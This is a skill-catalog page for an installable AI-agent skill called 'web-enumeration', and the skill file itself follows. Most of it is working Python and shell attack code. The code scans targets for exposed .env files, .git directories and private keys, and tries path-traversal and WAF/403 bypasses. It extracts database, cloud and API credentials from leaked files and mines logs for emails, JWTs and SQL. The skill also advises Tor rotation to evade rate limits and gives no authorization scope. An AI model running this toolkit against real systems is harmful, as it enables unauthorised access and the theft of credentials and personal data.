SkillAgentSearch skills...

web-enumeration

Sensitive file scanning, path traversal bypass, vHost enum, .env extract, log mining, Varnish detect

Install / Use

npx skills add uphiago/recon-skills --skill web-enumeration

Installs into whichever agent you are using.

About this skill
📄

SKILL.md

Installable skill definition

Quality Score

89/100

Category

Operations

Supported Platforms

Universal

Our assessment of web-enumeration

web-enumeration scores 89/100 on our quality scale, 273rd of 576 Operations skills we index (top 48%).

Its SKILL.md is 11 KB long, well organised into 46 sections with 11 code examples: a thorough specification that gives an agent plenty to work with.

With 1,280 GitHub stars, it is one of the more widely adopted skills in the catalogue.

Substance
29/30
Structure
20/20
Description
12/15
Adoption
13/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated 29 days ago, so web-enumeration is actively maintained.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 100/100, with no cautions. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

web-enumeration compared with similar skills

All 4 of these similar skills score higher than web-enumeration; compare them before choosing.

SkillScoreStarsUpdatedFormat
web-enumeration (this skill)by uphiago891.3k29d agoSKILL.md
Agent-Reachby Panniantong10086.6k15d agoCLAUDE.md
algorithmic-artby anthropics100177.9k8d agoSKILL.md
pptxby anthropics100177.9k8d agoSKILL.md
designby nextlevelbuilder100130.2k9d agoSKILL.md

Frequently asked questions

How do I install web-enumeration?
Run npx skills add uphiago/recon-skills --skill web-enumeration. The install tabs above show the steps for each supported agent.
Which AI agents does web-enumeration work with?
It is written for Universal, as a SKILL.md file. Other agents that read the same format can often use it too.
Is web-enumeration safe to use?
It is MIT-licensed and scores 100/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is web-enumeration still maintained?
The repository was last updated 29 days ago, so web-enumeration is actively maintained.

name: web-enumeration description: "Sensitive file scanning, path traversal bypass, vHost enum, .env extract, log mining, Varnish detect" version: 1.1.0 revision_date: 2026-07-25 license: MIT category: recon tags: [web, enumeration, sensitive-files, path-traversal, vhost, recon]

Web Enumeration -- Sensitive Files, Path Traversal, vHost, Log Mining

When to Use

  • ALWAYS on every target -- first thing after port scan
  • Success rate is high on neglected infrastructure
  • One finding (.env, .git) often leads to full credential access

Sensitive File Scanning (200+ Paths)

import requests

base = "https://target.com"
files = [
    "/.env", "/.env.example", "/.env.production", "/.env.local",
    "/.env.backup", "/.env.bak", "/.env.old", "/.[DEV_ENV]",
    "/.env.staging", "/config/.env",
    "/.git/config", "/.git/HEAD", "/.git/index",
    "/.git/refs/heads/master", "/.git/logs/HEAD",
    "/.git/packed-refs",
    "/storage/oauth-private.key", "/storage/oauth-public.key",
    "/storage/logs/laravel.log", "/storage/logs/laravel-*.log",
    "/storage/framework/views/*",
    "/Dockerfile", "/docker-compose.yml", "/docker-compose.override.yml",
    "/Procfile", "/.dockerignore",
    "/composer.json", "/composer.lock", "/package.json",
    "/package-lock.json", "/yarn.lock", "/Gemfile", "/Gemfile.lock",
    "/requirements.txt", "/Pipfile", "/Pipfile.lock",
    "/Cargo.toml", "/go.mod",
    "/artisan", "/server.php", "/web.config",
    "/wp-config.php", "/wp-config.php.bak", "/wp-config.php~",
    "/wp-content/debug.log", "/readme.html",
    "/assets/index-*.js.map", "/build/*.js.map",
    "/static/js/*.js.map", "/js/*.js.map",
    "/phpinfo.php", "/info.php", "/test.php", "/debug",
    "/actuator", "/actuator/env", "/actuator/health",
    "/actuator/beans", "/actuator/mappings",
    "/actuator/heapdump", "/actuator/loggers",
    "/swagger-ui.html", "/swagger-ui/index.html",
    "/v2/api-docs", "/v3/api-docs",
    "/graphql", "/graphiql", "/playground",
    "/admin", "/login", "/dashboard", "/panel",
    "/manager/html", "/host-manager/html",
    "/robots.txt", "/sitemap.xml",
    "/.htaccess", "/nginx.conf", "/.well-known/security.txt",
    "/server-status", "/server-info",
    "/phpmyadmin", "/_phpmyadmin", "/pma",
]

for f in files:
    try:
        r = requests.get(f"{base}{f}", timeout=10, allow_redirects=False)
        # Catch-all detection: SPA/commerce sites return HTML homepage for any path
        body_sample = r.text[:300].lower()
        is_catchall_html = any(marker in body_sample
                               for marker in ['<!doctype', '<html', '<!DOCTYPE'])
        if r.status_code == 200 and len(r.text) > 20:
            if is_catchall_html and len(r.text) > 500 and not any(
                kw in body_sample for kw in
                ['db_', 'app_', '_key', '_secret', 'password',
                 'token', 'php version', 'create table']
            ):
                print(f"CATCHALL {f} ({len(r.text)}b) — HTML homepage, not a leak")
            else:
                print(f"DONE {f} ({len(r.text)}b): {r.text[:150]}")
        elif r.status_code == 301 or r.status_code == 302:
            print(f"WARN {f} -> redirect {r.status_code}")
        elif r.status_code == 401 or r.status_code == 403:
            print(f"LOCK {f} -> {r.status_code} (exists, blocked)")
    except:
        pass

Path Traversal & Bypass (10+ Techniques)

paths = [
    "/../.env", "/%2e%2e/.env", "/..%2f.env",
    "/public/../.env", "/storage/../.env", "/html/../.env",
    "/app/../.env", "/www/../.env",
    "/.%00.env", "/.env%00.html", "/.env%23",
]
for p in paths:
    try:
        r = requests.get(f"{base}{p}", timeout=10, allow_redirects=False)
        if r.status_code == 200 and ("DB_PASSWORD" in r.text or "APP_KEY" in r.text):
            print(f"BYPASS: {p}")
    except:
        pass

Virtual Host (vHost) Enumeration

hosts = ["target.com","www.target.com","admin.target.com","api.target.com","dev.target.com","localhost","127.0.0.1","internal","test"]
for host in hosts:
    try:
        r = requests.get(f"http://SERVER_IP/.env", headers={"Host": host}, timeout=5)
        if "APP_KEY" in r.text or "DB_PASSWORD" in r.text or len(r.text) > 50:
            print(f"DONE .env exposed via Host: {host}")
    except:
        pass

Automatic .env Credential Extraction

import re
env_content = requests.get("http://target/.env", timeout=10).text
patterns = {
    "DB_HOST": r"DB_HOST=(.+)",
    "DB_DATABASE": r"DB_DATABASE=(.+)",
    "DB_USERNAME": r"DB_USERNAME=(.+)",
    "DB_PASSWORD": r"DB_PASSWORD=(.+)",
    "APP_KEY": r"APP_KEY=(.+)",
    "APP_URL": r"APP_URL=(.+)",
    "REDIS_HOST": r"REDIS_HOST=(.+)",
    "REDIS_PASSWORD": r"REDIS_PASSWORD=(.+)",
    "MAIL_USERNAME": r"MAIL_USERNAME=(.+)",
    "MAIL_PASSWORD": r"MAIL_PASSWORD=(.+)",
    "AWS_KEY": r"AWS_(?:ACCESS_KEY_ID|SECRET_ACCESS_KEY)=(.+)",
    "SENDGRID": r"SENDGRID_API_KEY=(.+)",
    "SENTRY": r"SENTRY_DSN=(.+)",
    "JWT_SECRET": r"JWT_SECRET=(.+)",
    "OAUTH": r"OAUTH_(?:CLIENT_ID|CLIENT_SECRET)=(.+)",
    "FIREBASE": r"FIREBASE_.+=(.+)",
    "OPENAI": r"OPENAI_API_KEY=(.+)",
    "STRIPE": r"STRIPE_(?:KEY|SECRET)=(.+)",
}
for name, pattern in patterns.items():
    matches = re.findall(pattern, env_content)
    for m in matches:
        print(f"KEY {name}: {m.strip()}")

Log Data Extraction

log = requests.get("http://target/storage/logs/laravel.log", timeout=30).text
emails = set(re.findall(r'[\w.+-]+@[\w-]+\.[\w.-]+', log))
for e in sorted(emails):
    if not e.endswith(('.png','.jpg','.svg','.css','.js','.ico','.woff')):
        print(f"EMAIL {e}")
sqls = re.findall(r'(?:SQL:|Executing query:|query:)\s*(.*?)(?:\\\\|$)', log)
for s in set(sqls):
    if len(s) > 10:
        print(f"QUERY {s[:200]}")
jwts = re.findall(r'eyJ[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}\.[a-zA-Z0-9_\-]{20,}', log)
for j in set(jwts):
    print(f"JWT {j[:80]}...")
paths_found = set(re.findall(r'(?:in |at )/(?:[a-zA-Z0-9_\-./]+\.(?:php|js|ts|py|rb))', log))
for p in sorted(paths_found):
    print(f"PATH {p}")

Varnish Cache Detection

# Detect cache headers
curl --max-time 30 --connect-timeout 10 -sI "https://TARGET/" | grep -iE "(age|x-cache|via|server)"
# Via: 1.1 varnish = Varnish
# X-Cache: Hit from cloudfront = AWS CloudFront
# Cf-Cache-Status: HIT = Cloudflare
# Varnish Extreme TTL (32 days):
curl --max-time 30 --connect-timeout 10 -sI "https://TARGET/" | grep -iE "age:|max-age|x-cache"

Real-World Cases

OVH Laravel server: .env, .git/config, storage/oauth-private.key all exposed (200 OK). Credentials for MySQL, SendGrid, cloud storage, Firebase.

Government agency Vite dev mode: 45 TypeScript files served publicly with VITE_JWT_SECRET and VITE_API_TOKEN in plain text.

See references/batch-probe-methodology.md for a bounded probe template, catch-all detection, endpoint-specific CORS checks, and XML-RPC response classification.

Pitfalls

| Issue | Solution | |-------|----------| | Rate limiting | Add 2-6s jitter, rotate Tor circuit | | CDN blocks paths | Try ports 8443, vHost, direct IP | | False positives (SPA catch-all) | Check for HTML content (doctype/html tags) — catch-all sites return 200 with homepage for any path | | Catch-all sites causing false leak flags | Add keyword-level verification: .env must contain DB_/APP_/_KEY/_SECRET; .git/config must contain [core] | | Redirect follow (-L) on XMLRPC tests | Never use -L for XMLRPC checks — redirects may hide a real 200 POST response | | Cloudflare/Salesforce catch-all | Some CDNs and commerce platforms return 200 for ANY path with the same homepage — verify by checking /nonexistent-test-path-xyz | | WAF blocks | Use path traversal bypasses |

Verification

curl --max-time 30 --connect-timeout 10 -sk "https://target.com/.env" | head -20
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/.git/HEAD"
# git-dumper: https://github.com/arthaud/git-dumper
./git_dumper.py http://target.com/.git/ /tmp/repo/

Phase 6 — Parameter Discovery

Find hidden parameters on known endpoints:

# paramspider — finds parameters from Wayback data
paramspider -d target.com -o params.txt

# arjun — discovers hidden parameters via HTTP response comparison
arjun -i backend_urls.txt -o arjun_params.json
arjun -u https://target.com/endpoint -m POST

# x8 — hidden parameter discovery
x8 -u "https://target.com/endpoint" -o x8_params.txt

# Prepare URLs for parameter fuzzing
cat all_urls.txt | grep "=" | qsreplace "FUZZ" | anew param_fuzz.txt
# Deduplicate by parameter name
cat all_urls.txt | grep "=" | sed "s/=[^&]*/=/g" | sort -u > params_clean.txt

Phase 7 — URL Category Extraction

Categorize discovered URLs by sensitivity to prioritize testing:

# JavaScript files (for secret hunting)
cat all_urls.txt | grep -iE '\.js(\?|$)' | grep -iv '\.json' | sort -u > js_urls.txt

# API endpoints
cat all_urls.txt | grep -Ei '\.(json|xml|graphql)(\?|$)' > api_urls.txt

# Backend scripts
cat all_urls.txt | grep -Ei '\.(php|asp|aspx|jsp|cfm|cgi)(\?|$)' > backend_urls.txt

# Auth/login flows
cat all_urls.txt | grep -Ei "login|signin|auth|oauth|reset|password" > auth_urls.txt

# Admin panels
cat all_urls.txt | grep -Ei "admin|dashboard|internal|manage|panel" > admin_urls.txt

# File upload/download
cat all_urls.txt | grep -Ei "upload|file|download|image|media" > upload_urls.txt

# IDOR candidates
cat all_urls.txt | grep -Ei "[0-9]{3,}" > idor_candidates.txt

# Open redirect candidates
cat all_urls.txt | grep -Ei "redirect|callback|goto|return|dest=|r=|u=|url=" > redirect_urls.txt

# Everything interesting in one shot
cat all_urls.txt | urinteresting

Phase 8 — WAF & 403 Bypass

# IP header spoofing
ffuf -u https://target.com/blocked-path \
  -w 403_bypass_headers.txt \
  -H "FUZZ" \
  -mc 200,301,302

# Common bypass headers
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/admin" \
  -H "X-Forwarded-For: 127.0.0.1" \
  -H "X-Forwarded-Host: 127.0.0.1" \
  -H "X-Custom-IP-Authorization: 127.0.0.1" \
  -H "X-Original-URL: /admin" \
  -H "X-Rewrite-URL: /admin"

# HTTP method switching
for method in GET POST PUT PATCH DELETE OPTIONS HEAD TRACE; do
  echo -n "$method: "
  curl --max-time 30 --connect-timeout 10 -sk -X "$method" "https://target.com/admin" -o /dev/null -w "%{http_code}"
  echo
done

# Path override techniques
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/anything" -H "X-Original-URL: /admin"
curl --max-time 30 --connect-timeout 10 -sk "https://target.com/anything" -H "X-Rewrite-URL: /admin"

Phase 9 — Historical Page Recovery & Robots.txt History

# Robots.txt history via roboxtractor
cat alive_subs.txt | roboxtractor -m 1 -wb

# Recover 404 pages via Wayback Machine
waybackurls https://target.com | grep "webstat\|/old/\|/v1/\|/deprecated" > old_pages.txt

# For each old page, re-crawl linked resources
gospider -s https://target.com -a -r \
  | grep -oE 'https?://[^[:space:]"]+' \
  | grep "/old-path/"

# Google Sheets leak hunting
# site:*.target.com intext:"docs.google.com/spreadsheets"
# site:docs.google.com/spreadsheets "target.com" "password"

# GitHub endpoints: find internal API paths in repos
github-endpoints -q -k -d target.com -t $GITHUB_TOKEN

Related Skills

View on GitHub
GitHub Stars1.3k
CategoryOperations
Updated29d ago
Forks215

Languages

Python

Trust signals

100/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

No cautions